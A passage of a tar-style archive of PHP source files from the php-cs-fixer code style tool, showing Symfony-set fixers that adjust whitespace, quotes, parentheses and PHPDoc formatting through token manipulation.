            $this->fixWhitespace($tokens[$index + 1]);
        }

        return $tokens->generateCode();
    }

    /**
     * If given token is a single line whitespace then fix it to be a single space.
     *
     * @param Token $token
     */
    private function fixWhitespace(Token $token)
    {
        if ($token->isWhitespace(array('whitespaces' => " \t"))) {
            $token->setContent(' ');
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/ArrayElementNoSpaceBeforeCommaFixer.php000066600000005355151456236460023243 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Adam Marczuk <adam@marczuk.info>
 */
final class ArrayElementNoSpaceBeforeCommaFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; $index >= 0; --$index) {
            if (!$tokens->isArray($index)) {
                continue;
            }

            $this->fixSpacing($index, $tokens);
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'In array declaration, there MUST NOT be a whitespace before each comma.';
    }

    /**
     * Method to fix spacing in array declaration.
     *
     * @param int    $index
     * @param Tokens $tokens
     */
    private function fixSpacing($index, Tokens $tokens)
    {
        if ($tokens->isShortArray($index)) {
            $startIndex = $index;
            $endIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_SQUARE_BRACE, $startIndex);
        } else {
            $startIndex = $tokens->getNextTokenOfKind($index, array('('));
            $endIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $startIndex);
        }

        for ($i = $endIndex - 1; $i > $startIndex; --$i) {
            $i = $this->skipNonArrayElements($i, $tokens);
            $currentToken = $tokens[$i];
            $prevIndex = $tokens->getPrevNonWhitespace($i - 1);
            if ($currentToken->equals(',') && !$tokens[$prevIndex]->equals(array(T_END_HEREDOC))) {
                $tokens->removeLeadingWhitespace($i);
            }
        }
    }

    /**
     * Method to move index over the non-array elements like function calls or function declarations.
     *
     * @param int    $index
     * @param Tokens $tokens
     *
     * @return int New index
     */
    private function skipNonArrayElements($index, Tokens $tokens)
    {
        if ($tokens[$index]->equals('}')) {
            return $tokens->findBlockEnd(Tokens::BLOCK_TYPE_CURLY_BRACE, $index, false);
        }

        if ($tokens[$index]->equals(')')) {
            $startIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $index, false);
            $startIndex = $tokens->getPrevMeaningfulToken($startIndex);
            if (!$tokens->isArray($startIndex)) {
                return $startIndex;
            }
        }

        return $index;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/SingleQuoteFixer.php000066600000002761151456236460017537 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Gregor Harlan <gharlan@web.de>
 */
class SingleQuoteFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $token) {
            if (!$token->isGivenKind(T_CONSTANT_ENCAPSED_STRING)) {
                continue;
            }

            $content = $token->getContent();
            if (
                '"' === $content[0] &&
                false === strpos($content, "'") &&
                // regex: odd number of backslashes, not followed by double quote or dollar
                !preg_match('/(?<!\\\\)(?:\\\\{2})*\\\\(?!["$\\\\])/', $content)
            ) {
                $content = substr($content, 1, -1);
                $content = str_replace('\\"', '"', $content);
                $content = str_replace('\\$', '$', $content);
                $token->setContent('\''.$content.'\'');
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Convert double quotes to single quotes for simple strings.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/SelfAccessorFixer.php000066600000005765151456236460017663 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Gregor Harlan <gharlan@web.de>
 */
class SelfAccessorFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($i = 0, $c = $tokens->count(); $i < $c; ++$i) {
            if (!$tokens[$i]->isClassy() || $tokens->isAnonymousClass($i)) {
                continue;
            }

            $nameIndex = $tokens->getNextTokenOfKind($i, array(array(T_STRING)));
            $startIndex = $tokens->getNextTokenOfKind($nameIndex, array('{'));
            $endIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_CURLY_BRACE, $startIndex);

            $name = $tokens[$nameIndex]->getContent();

            $this->replaceNameOccurrences($tokens, $name, $startIndex, $endIndex);

            // continue after the class declaration
            $i = $endIndex;
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Inside a classy element "self" should be preferred to the class name itself.';
    }

    /**
     * Replace occurrences of the name of the classy element by "self" (if possible).
     *
     * @param Tokens $tokens
     * @param string $name
     * @param int    $startIndex
     * @param int    $endIndex
     */
    private function replaceNameOccurrences(Tokens $tokens, $name, $startIndex, $endIndex)
    {
        for ($i = $startIndex; $i < $endIndex; ++$i) {
            $token = $tokens[$i];

            if (
                // skip anonymous classes
                $token->isGivenKind(T_CLASS) && $tokens->isAnonymousClass($i) ||
                // skip lambda functions (PHP < 5.4 compatibility)
                $token->isGivenKind(T_FUNCTION) && $tokens->isLambda($i)
            ) {
                $i = $tokens->getNextTokenOfKind($i, array('{'));
                $i = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_CURLY_BRACE, $i);
                continue;
            }

            if (!$token->equals(array(T_STRING, $name), false)) {
                continue;
            }

            $prevToken = $tokens[$tokens->getPrevMeaningfulToken($i)];
            $nextToken = $tokens[$tokens->getNextMeaningfulToken($i)];

            // skip tokens that are part of a fully qualified name
            if ($prevToken->isGivenKind(T_NS_SEPARATOR) || $nextToken->isGivenKind(T_NS_SEPARATOR)) {
                continue;
            }

            if (
                $prevToken->isGivenKind(array(T_INSTANCEOF, T_NEW)) ||
                $nextToken->isGivenKind(T_PAAMAYIM_NEKUDOTAYIM)
            ) {
                $token->setContent('self');
            }
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/UnaryOperatorsSpacesFixer.php000066600000002244151456236460021430 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Gregor Harlan <gharlan@web.de>
 */
class UnaryOperatorsSpacesFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; $index >= 0; --$index) {
            if ($tokens->isUnarySuccessorOperator($index)) {
                $tokens->removeLeadingWhitespace($index);
                continue;
            }
            if ($tokens->isUnaryPredecessorOperator($index)) {
                $tokens->removeTrailingWhitespace($index);
                continue;
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Unary operators should be placed adjacent to their operands.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/NoBlankLinesAfterClassOpeningFixer.php000066600000003335151456236460023105 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;
use Symfony\CS\Utils;

/**
 * @author Ceeram <ceeram@cakephp.org>
 */
class NoBlankLinesAfterClassOpeningFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if (!$token->isClassy()) {
                continue;
            }

            $startBraceIndex = $tokens->getNextTokenOfKind($index, array('{'));
            if (!$tokens[$startBraceIndex + 1]->isWhitespace()) {
                continue;
            }

            $this->fixWhitespace($tokens[$startBraceIndex + 1]);
        }

        return $tokens->generateCode();
    }

    /**
     * Cleanup a whitespace token.
     *
     * @param Token $token
     */
    private function fixWhitespace(Token $token)
    {
        $content = $token->getContent();
        // if there is more than one new line in the whitespace, then we need to fix it
        if (substr_count($content, "\n") > 1) {
            // the final bit of the whitespace must be the next statement's indentation
            $lines = Utils::splitLines($content);
            $token->setContent("\n".end($lines));
        }
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'There should be no empty lines after class opening brace.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/NamespaceNoLeadingWhitespaceFixer.php000066600000004072151456236460022767 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Bram Gotink <bram@gotink.me>
 */
class NamespaceNoLeadingWhitespaceFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = count($tokens) - 1; 0 <= $index; --$index) {
            $token = $tokens[$index];

            if (!$token->isGivenKind(T_NAMESPACE)) {
                continue;
            }

            $beforeNamespace = $tokens[$index - 1];

            if (!$beforeNamespace->isWhitespace()) {
                if (!self::endsWithWhitespace($beforeNamespace->getContent())) {
                    $tokens->insertAt($index, new Token(array(T_WHITESPACE, "\n")));
                }

                continue;
            }

            $lastNewline = strrpos($beforeNamespace->getContent(), "\n");

            if (false === $lastNewline) {
                $beforeBeforeNamespace = $tokens[$index - 2];

                if (self::endsWithWhitespace($beforeBeforeNamespace->getContent())) {
                    $beforeNamespace->clear();
                } else {
                    $beforeNamespace->setContent(' ');
                }
            } else {
                $beforeNamespace->setContent(substr($beforeNamespace->getContent(), 0, $lastNewline + 1));
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'The namespace declaration line shouldn\'t contain leading whitespace.';
    }

    private static function endsWithWhitespace($str)
    {
        if ('' === $str) {
            return false;
        }

        return '' === trim(substr($str, -1));
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/NewWithBracesFixer.php000066600000007460151456236460020006 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class NewWithBracesFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        static $nextTokenKinds = null;

        if (null === $nextTokenKinds) {
            $nextTokenKinds = array(
                '?',
                ';',
                ',',
                '(',
                ')',
                '[',
                ']',
                ':',
                '<',
                '>',
                '+',
                '-',
                '*',
                '/',
                '%',
                '&',
                '^',
                '|',
                array(T_CLASS),
                array(T_IS_SMALLER_OR_EQUAL),
                array(T_IS_GREATER_OR_EQUAL),
                array(T_IS_EQUAL),
                array(T_IS_NOT_EQUAL),
                array(T_IS_IDENTICAL),
                array(T_IS_NOT_IDENTICAL),
                array(T_CLOSE_TAG),
                array(T_LOGICAL_AND),
                array(T_LOGICAL_OR),
                array(T_LOGICAL_XOR),
                array(T_BOOLEAN_AND),
                array(T_BOOLEAN_OR),
                array(T_SL),
                array(T_SR),
                array(T_INSTANCEOF),
                array(T_AS),
                array(T_DOUBLE_ARROW),
            );

            if (defined('T_POW')) {
                $nextTokenKinds[] = array(T_POW);
            }

            if (defined('T_SPACESHIP')) {
                $nextTokenKinds[] = array(T_SPACESHIP);
            }
        }

        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 3; $index > 0; --$index) {
            $token = $tokens[$index];

            if (!$token->isGivenKind(T_NEW)) {
                continue;
            }

            $nextIndex = $tokens->getNextTokenOfKind($index, $nextTokenKinds);
            $nextToken = $tokens[$nextIndex];

            // new anonymous class definition
            if ($nextToken->isGivenKind(T_CLASS)) {
                if (!$tokens[$tokens->getNextMeaningfulToken($nextIndex)]->equals('(')) {
                    $this->insertBracesAfter($tokens, $nextIndex);
                }

                continue;
            }

            // entrance into array index syntax - need to look for exit
            while ($nextToken->equals('[')) {
                $nextIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_SQUARE_BRACE, $nextIndex) + 1;
                $nextToken = $tokens[$nextIndex];
            }

            // new statement has a gap in it - advance to the next token
            if ($nextToken->isGivenKind(T_WHITESPACE)) {
                $nextIndex = $tokens->getNextNonWhitespace($nextIndex);
                $nextToken = $tokens[$nextIndex];
            }

            // new statement with () - nothing to do
            if ($nextToken->equals('(')) {
                continue;
            }

            $this->insertBracesAfter($tokens, $tokens->getPrevMeaningfulToken($nextIndex));
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'All instances created with new keyword must be followed by braces.';
    }

    /**
     * @param Tokens $tokens
     * @param int    $index
     */
    private function insertBracesAfter(Tokens $tokens, $index)
    {
        $tokens->insertAt(++$index, array(new Token('('), new Token(')')));
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocInlineTagFixer.php000066600000004215151456236460020304 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fix inline tags and make inheritdoc tag always inline.
 */
final class PhpdocInlineTagFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $token) {
            if (!$token->isGivenKind(T_DOC_COMMENT)) {
                continue;
            }

            $content = $token->getContent();

            // Move `@` inside tag, for example @{tag} -> {@tag}, replace multiple curly brackets,
            // remove spaces between '{' and '@', remove 's' at the end of tag.
            // Make sure the tags are written in lower case, remove white space between end
            // of text and closing bracket and between the tag and inline comment.
            $content = preg_replace_callback(
                '#(?:@{+|{+[ \t]*@)[ \t]*(example|id|internal|inheritdoc|link|source|toc|tutorial)s?([^}]*)(?:}+)#i',
                function (array $matches) {
                    $doc = trim($matches[2]);

                    if ('' === $doc) {
                        return '{@'.strtolower($matches[1]).'}';
                    }

                    return '{@'.strtolower($matches[1]).' '.$doc.'}';
                },
                $content
            );

            // Always make inheritdoc inline using with '{' '}' when needed, remove trailing 's',
            // make sure lowercase.
            $content = preg_replace(
                '#(?<!{)@inheritdocs?(?!})#i',
                '{@inheritdoc}',
                $content
            );

            $token->setContent($content);
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Fix PHPDoc inline tags, make inheritdoc always inline.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/UnneededControlParenthesesFixer.php000066600000011160151456236460022563 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Sullivan Senechal <soullivaneuh@gmail.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
final class UnneededControlParenthesesFixer extends AbstractFixer
{
    /**
     * To be removed when PHP support will be 5.5+.
     *
     * @var string[] List of statements to fix.
     */
    private static $controlStatements = array(
        'switch_case',
        'echo_print',
        'return',
        'clone',
        'yield',
    );

    private static $loops = array(
        'switch_case' => array('lookupTokens' => T_CASE, 'neededSuccessors' => array(';', ':')),
        'echo_print' => array('lookupTokens' => array(T_ECHO, T_PRINT), 'neededSuccessors' => array(';', array(T_CLOSE_TAG))),
        'return' => array('lookupTokens' => T_RETURN, 'neededSuccessors' => array(';')),
        'clone' => array('lookupTokens' => T_CLONE, 'neededSuccessors' => array(';', ':', ',', ')'), 'forbiddenContents' => array('?', ':')),
    );

    /**
     * Dynamic yield option set on constructor.
     */
    public function __construct()
    {
        // To be moved back on static when PHP support will be 5.5+
        if (defined('T_YIELD')) {
            self::$loops['yield'] = array('lookupTokens' => T_YIELD, 'neededSuccessors' => array(';', ')'));
        }
    }

    /**
     * @param array $controlStatements
     */
    public static function configure(array $controlStatements)
    {
        self::$controlStatements = $controlStatements;
    }

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        // Checks if specific statements are set and uses them in this case.
        $loops = array_intersect_key(self::$loops, array_flip(self::$controlStatements));

        foreach ($tokens as $index => $token) {
            if (!$token->equals('(')) {
                continue;
            }

            $blockStartIndex = $index;
            $index = $tokens->getPrevMeaningfulToken($index);
            $token = $tokens[$index];

            foreach ($loops as $loop) {
                if (!$token->isGivenKind($loop['lookupTokens'])) {
                    continue;
                }

                $blockEndIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $blockStartIndex);
                $blockEndNextIndex = $tokens->getNextMeaningfulToken($blockEndIndex);

                if (!$tokens[$blockEndNextIndex]->equalsAny($loop['neededSuccessors'])) {
                    continue;
                }

                if (array_key_exists('forbiddenContents', $loop)) {
                    $forbiddenTokenIndex = $tokens->getNextTokenOfKind($blockStartIndex, $loop['forbiddenContents']);
                    // A forbidden token is found and is inside the parenthesis.
                    if (null !== $forbiddenTokenIndex && $forbiddenTokenIndex < $blockEndIndex) {
                        continue;
                    }
                }

                if ($tokens[$blockStartIndex - 1]->isWhitespace() || $tokens[$blockStartIndex - 1]->isComment()) {
                    $this->clearParenthesis($tokens, $blockStartIndex);
                } else {
                    // Adds a space to prevent broken code like `return2`.
                    $tokens->overrideAt($blockStartIndex, array(T_WHITESPACE, ' '));
                }

                $this->clearParenthesis($tokens, $blockEndIndex);
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Removes unneeded parentheses around control statements.';
    }

    /**
     * Should be run before trailing_spaces.
     *
     * {@inheritdoc}
     */
    public function getPriority()
    {
        return 30;
    }

    /**
     * @param Tokens $tokens
     * @param int    $index
     */
    private function clearParenthesis(Tokens $tokens, $index)
    {
        $tokens[$index]->clear();

        if (
            isset($tokens[$index - 1]) &&
            isset($tokens[$index + 1]) &&
            $tokens[$index - 1]->isWhitespace() &&
            $tokens[$index + 1]->isWhitespace()
        ) {
            $tokens[$index - 1]->setContent($tokens[$index - 1]->getContent().$tokens[$index + 1]->getContent());
            $tokens[$index + 1]->clear();
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PrintToEchoFixer.php000066600000002252151456236460017471 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Sullivan Senechal <soullivaneuh@gmail.com>
 */
final class PrintToEchoFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        $printTokens = $tokens->findGivenKind(T_PRINT);

        foreach ($printTokens as $printIndex => $printToken) {
            $prevToken = $tokens[$tokens->getPrevMeaningfulToken($printIndex)];
            if (!$prevToken->equalsAny(array(';', '{', '}', array(T_OPEN_TAG)))) {
                continue;
            }

            $tokens->overrideAt($printIndex, array(T_ECHO, 'echo'));
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Converts print language construct to echo if possible.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocNoEmptyReturnFixer.php000066600000003562151456236460021231 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\DocBlock\Annotation;
use Symfony\CS\DocBlock\DocBlock;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocNoEmptyReturnFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_DOC_COMMENT) as $token) {
            $doc = new DocBlock($token->getContent());
            $annotations = $doc->getAnnotationsOfType('return');

            if (empty($annotations)) {
                continue;
            }

            foreach ($annotations as $annotation) {
                $this->fixAnnotation($doc, $annotation);
            }

            $token->setContent($doc->getContent());
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return '@return void and @return null annotations should be omitted from phpdocs.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // must be run before the PhpdocSeparationFixer and PhpdocOrderFixer
        return 10;
    }

    /**
     * Remove return void or return null annotations..
     *
     * @param DocBlock   $doc
     * @param Annotation $annotation
     */
    private function fixAnnotation(DocBlock $doc, Annotation $annotation)
    {
        if (1 === preg_match('/@return\s+(void|null)(?!\|)/', $doc->getLine($annotation->getStart())->getContent())) {
            $annotation->remove();
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/ObjectOperatorFixer.php000066600000002703151456236460020216 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ObjectOperatorFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        // [Structure] there should not be space before or after T_OBJECT_OPERATOR
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_OBJECT_OPERATOR) as $index => $token) {
            // clear whitespace before ->
            if ($tokens[$index - 1]->isWhitespace(array('whitespaces' => " \t")) && !$tokens[$index - 2]->isComment()) {
                $tokens[$index - 1]->clear();
            }

            // clear whitespace after ->
            if ($tokens[$index + 1]->isWhitespace(array('whitespaces' => " \t")) && !$tokens[$index + 2]->isComment()) {
                $tokens[$index + 1]->clear();
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'There should not be space before or after object T_OBJECT_OPERATOR.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocTrimFixer.php000066600000005742151456236460017353 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\DocBlock\DocBlock;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocTrimFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_DOC_COMMENT) as $token) {
            $content = $token->getContent();
            $content = $this->fixStart($content);
            // we need re-parse the docblock after fixing the start before
            // fixing the end in order for the lines to be correctly indexed
            $content = $this->fixEnd($content);
            $token->setContent($content);
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Phpdocs should start and end with content, excluding the very first and last line of the docblocks.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        /*
         * Should be run after all phpdoc fixers that add or remove tags, or
         * alter descriptions. This is so that they don't leave behind blank
         * lines this fixer would have otherwise cleaned up.
         */
        return -5;
    }

    /**
     * Make sure the first useful line starts immediately after the first line.
     *
     * @param string $content
     *
     * @return string
     */
    private function fixStart($content)
    {
        $doc = new DocBlock($content);
        $lines = $doc->getLines();
        $total = count($lines);

        foreach ($lines as $index => $line) {
            if (!$line->isTheStart()) {
                // don't remove lines with content and don't entirely delete docblocks
                if ($total - $index < 3 || $line->containsUsefulContent()) {
                    break;
                }

                $line->remove();
            }
        }

        return $doc->getContent();
    }

    /**
     * Make sure the last useful is immediately before after the final line.
     *
     * @param string $content
     *
     * @return string
     */
    private function fixEnd($content)
    {
        $doc = new DocBlock($content);
        $lines = array_reverse($doc->getLines());
        $total = count($lines);

        foreach ($lines as $index => $line) {
            if (!$line->isTheEnd()) {
                // don't remove lines with content and don't entirely delete docblocks
                if ($total - $index < 3 || $line->containsUsefulContent()) {
                    break;
                }

                $line->remove();
            }
        }

        return $doc->getContent();
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocParamsFixer.php000066600000013415151456236460017657 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;
use Symfony\CS\Utils;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @author Sebastiaan Stok <s.stok@rollerscapes.net>
 * @author Graham Campbell <graham@mineuk.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class PhpdocParamsFixer extends AbstractFixer
{
    private $regex;
    private $regexCommentLine;

    public function __construct()
    {
        // e.g. @param <hint> <$var>
        $paramTag = '(?P<tag>param)\s+(?P<hint>[^$]+?)\s+(?P<var>&?\$[^\s]+)';
        // e.g. @return <hint>
        $otherTags = '(?P<tag2>return|throws|var|type)\s+(?P<hint2>[^\s]+?)';
        // optional <desc>
        $desc = '(?:\s+(?P<desc>.*)|\s*)';

        $this->regex = '/^(?P<indent>(?: {4})*) \* @(?:'.$paramTag.'|'.$otherTags.')'.$desc.'$/';
        $this->regexCommentLine = '/^(?P<indent>(?: {4})*) \*(?! @)(?:\s+(?P<desc>.+))(?<!\*\/)$/';
    }

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_DOC_COMMENT) as $token) {
            $token->setContent($this->fixDocBlock($token->getContent()));
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'All items of the @param, @throws, @return, @var, and @type phpdoc tags must be aligned vertically.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        /*
         * Should be run after all other docblock fixers. This because they
         * modify other annotations to change their type and or separation
         * which totally change the behavior of this fixer. It's important that
         * annotations are of the correct type, and are grouped correctly
         * before running this fixer.
         */
        return -10;
    }

    /**
     * Fix a given docblock.
     *
     * @param string $content
     *
     * @return string
     */
    private function fixDocBlock($content)
    {
        $lines = Utils::splitLines($content);

        $l = count($lines);

        for ($i = 0; $i < $l; ++$i) {
            $items = array();
            $matches = $this->getMatches($lines[$i]);

            if (null === $matches) {
                continue;
            }

            $current = $i;
            $items[] = $matches;

            while ($matches = $this->getMatches($lines[++$i], true)) {
                $items[] = $matches;
            }

            // compute the max length of the tag, hint and variables
            $tagMax = 0;
            $hintMax = 0;
            $varMax = 0;

            foreach ($items as $item) {
                if (null === $item['tag']) {
                    continue;
                }

                $tagMax = max($tagMax, strlen($item['tag']));
                $hintMax = max($hintMax, strlen($item['hint']));
                $varMax = max($varMax, strlen($item['var']));
            }

            $currTag = null;

            // update
            foreach ($items as $j => $item) {
                if (null === $item['tag']) {
                    if ($item['desc'][0] === '@') {
                        $lines[$current + $j] = $item['indent'].' * '.$item['desc']."\n";
                        continue;
                    }

                    $line =
                        $item['indent']
                        .' *  '
